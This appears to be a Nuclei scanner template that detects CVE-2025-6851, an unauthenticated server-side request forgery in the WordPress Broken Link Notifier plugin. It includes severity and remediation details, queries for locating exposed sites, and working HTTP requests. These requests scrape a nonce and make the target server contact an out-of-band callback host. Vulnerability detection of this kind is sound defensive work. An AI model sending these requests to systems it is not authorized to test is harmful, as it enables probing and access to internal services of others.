WordPress Broken Link Notifier < 1.3.1 - Unauthenticated SSRF

id: CVE-2025-6851

info:
  name: WordPress Broken Link Notifier < 1.3.1 - Unauthenticated SSRF
  author: iamnoooob,pdresearch
  severity: high
  description: |
    The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
  impact: |
    An attacker can exploit this vulnerability to perform server-side request forgery attacks, potentially accessing internal services, reading local files, or conducting port scanning from the server's perspective.
  remediation: |
    Update the Broken Link Notifier plugin to version 1.3.1 or later which fixes this vulnerability. If immediate update is not possible, consider temporarily disabling the plugin until the fix can be applied.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6851
    - https://wpscan.com/vulnerability/CVE-2025-6851
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/broken-link-notifier/broken-link-notifier-130-unauthenticated-server-side-request-forgery
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-6851
    cwe-id: CWE-918
    epss-score: 0.00623
    epss-percentile: 0.45529
    cpe: cpe:2.3:a:broken_link_notifier_project:broken_link_notifier:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: broken_link_notifier_project
    product: broken_link_notifier
    publicwww-query: "/wp-content/plugins/broken-link-notifier/"
    fofa-query: body="blnotifier_front_end"
  tags: cve,cve2025,wp-plugin,wordpress,ssrf,oast,unauth,wpscan,broken-link-notifier,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    redirects: true

    matchers:
      - type: dsl
        dsl:
          - contains(body, 'blnotifier_front_end')
        internal: true

    extractors:
      - type: regex
        part: body
        internal: true
        name: nonce
        group: 1
        regex:
          - 'blnotifier_front_end.*"nonce":"(.*?)"'

  - raw:
      - |-
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: xmlhttprequest
        Content-Type: application/x-www-form-urlencoded

        action=blnotifier_blinks&nonce={{nonce}}&source_url=http://test&header_links[]=http://{{interactsh-url}}&

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains_all(body, 'notify', 'timing', 'Results were generated in')
          - status_code == 200
        condition: and
# digest: 4b0a004830460221009a54eaa346329c9873b87021a484814c8fa70d1941d2fd7eec0e1ccc4565f15b022100edd9158edcf47d47bb7de15eb7a9da69f76370b5489fb5977e373938bfa83bdd:922c64590222798bb761d5b6d8e72950